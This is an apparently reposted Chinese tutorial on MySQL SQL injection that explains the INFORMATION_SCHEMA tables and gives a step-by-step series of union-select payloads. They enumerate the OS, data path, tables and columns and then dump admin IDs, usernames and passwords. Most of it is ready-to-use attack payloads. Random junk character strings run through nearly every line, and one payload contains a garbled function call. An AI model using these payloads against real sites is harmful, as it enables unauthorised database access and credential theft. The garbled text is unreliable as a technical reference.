本文介绍MYSQL盲注的一些语句和方法
+ o2 _$ D9 }' R, H: L+ m
$ I' I+ {' @* k" M3 B学习盲注前先了解下 IFORMATION_SCHEMA 库
# I- b6 I+ R3 [5 c6 u+ t7 h
/ ?, X8 _, n" i7 u9 O6 Y dMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有% t: s1 t# s) Q* K3 w, T
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。1 D; E0 l: |% b
1.得到所有数据库名:
6 r- t( Q3 C. C0 d- Y|SCHEMATA ->存储数据库名的表
( B |, g6 d- m# F" x|---字段:SCHEMA_NAME ->数据库名称
* v+ `# c( \" s! p5 F0 y# {4 K& w; w6 P7 v7 W$ J/ ?
|TABLES ->存储表名
# g" {. G( d! x3 o& V|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名6 Y/ a5 A+ [3 ]( l" I
|---字段:TABLE_NAME ->存储表的表名7 u" t u8 s9 Y1 T- v
; Q4 `. |5 T) X& V6 X: ~|COLUMNS ->存储的字段名表
$ c, D* H8 _* @. t) W5 Y4 ]|---字段:TABLE_SCHEMA ->该字段所属数据库名
7 K$ F* X$ s" a) d T+ k W" u1 ~( f|---字段:TABLE_NAME ->存储所属表的名称4 J" d( Z; f1 Q; t
' R. Z' U; |+ Z" M5 c0 ?|---字段:COLUMN_NAME ->该字段的名称2 O- W3 ^2 |8 Q- T5 r* z
5 [, p# N0 j+ E* Z! F. L- r
. D6 O/ E6 b; D; F) }
8 k. m4 G' y3 ~1 ?###########################################################################
4 l, F1 Y ]) ?* W/ x: n/ @5 I R0 e! E$ L
0x001 获取系统信息:, z4 c- n4 x! Z/ t1 C4 a
# {! `5 A/ J9 z2 @9 f( o9 d
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
3 c7 l8 R [. u* h0 y5 t! r2 ^( T$ g7 Z q: i z) H
/*# E. J. k! T4 A8 ^0 {' S
2 x+ C+ Y0 x% c5 b. w
@@global.version_compile_os 获取系统版本
; j7 o7 S% r+ ?* L: Q& o! o. b. o2 u
@@datadir 数据库路径
0 a, I/ ]: c* b8 D8 i' u- W8 B9 ]database() 当前数据库名称
3 i0 k0 ^" Y% l. k4 ]5 {6 V0x3c62723e 换行HEX值
8 U& |5 ?, r& k; [1 o
& m+ y3 S, w- `8 N, a*/1 o4 i3 ^7 ^4 d6 f! m+ I
1 I, d8 z, d" _( p' S) J
7 Z1 h% @/ _" r/ i. ]; o! r: X9 x8 v6 T6 w
######################################################################
" U2 ]1 q# X6 G& x, Z3 L
0 g& o. f3 r" H1 P9 V1 H' @( N% E0x002 获取表名
! l4 a$ H% y ] M- S9 J
" n" O+ r$ w. k8 eunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*8 C+ F: t% `4 ~2 H* d" C0 e
$ t$ i7 \# K! R
* h1 E3 y4 k1 x8 @' _( d w* [. k4 e7 m; u
/*1 {9 y7 `' P# Y& p
$ D' b" \% S1 H5 i2 Z* i3 |
0x67617264656e 为当前数据库名
5 X* z, r& e6 Z* L! J0 \: j5 b) d5 f) u2 b5 Q O) z
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名5 g; f, u. w! D0 a8 |
1 u; J( E0 y H# U$ U: X*/6 B0 ]7 x) |/ d' _' W0 y) d' Z! i
9 d1 c; s- @ |" n
######################################################################
7 `6 S0 Z; _$ H) _9 b# P
# a. U4 g2 Y" V0 k( A* i3 Z' f 2 e4 ?6 o2 R2 K( _
3 w2 y) O, u5 L$ M0x003 获取字段& p: j: b" Q* n5 `/ A
* T# A; R. I7 a9 r7 H/ eunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
% _6 D' X& r0 B0 [, |: z5 F! _& L* \$ H$ }: H7 T- A* B& v
/*' w) P) o& |% s* I" C+ x8 @" ^
2 h- y7 X2 b- l/ Z
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
4 d) `" f. Q: L0 {. f' ?
0 ? {' N5 F& Z2 W8 ]4 s0x61646d696e ->选择一个表+ { J( r2 `5 w7 ^4 I* j& Z
z' T! J7 J, |9 B6 J" Z' t( K0x67617264656e ->数据库名1 Q" z2 N+ I9 M' V' R I9 E3 T- M
3 k' {" E" O. u; Z1 \/ Z
*/
- x" R$ J/ I/ O1 ?$ R) k5 e+ S8 I" N- l: ?1 }* p! Q
#####################################################################
! h( |4 u u. `9 I; ^( k% p0 m, t4 f# D* ~! C& z3 a* ]9 x
0 }" L6 _8 A) u0 w. D8 T" w' `& A$ d" N( j! s* f& u1 X- X/ @+ N
0x004 获取数据% J* ^ \. H9 I4 I3 F
D# D9 r. ~& |# s& {
union select 1,2,3
+ \5 i; E$ D! s, V0 _,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin( G; i+ ? y: u. Z0 v0 e
% z% g4 |3 D/ T
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
- d% x7 ]" ?2 s
! W, w" |7 g* E0 ~ Z 6 l. ^# v; D; e' v# G
5 ?) \8 _$ ]% _8 b
/*! G; z. }) Y; ~+ o
! m0 f: h+ {' O% F* @
0x3c62723e 换行符号HEX编码
F+ h$ X0 @- H' p. G# }7 n3 K h5 _1 n% W4 n4 w/ z
group_concat 同时获得该字段所有数据" |% M7 u! k3 l
- ?4 c+ \4 n6 d) Z, u5 r
*/
9 P$ U k- b0 R; H% R( r M# h- T2 J
|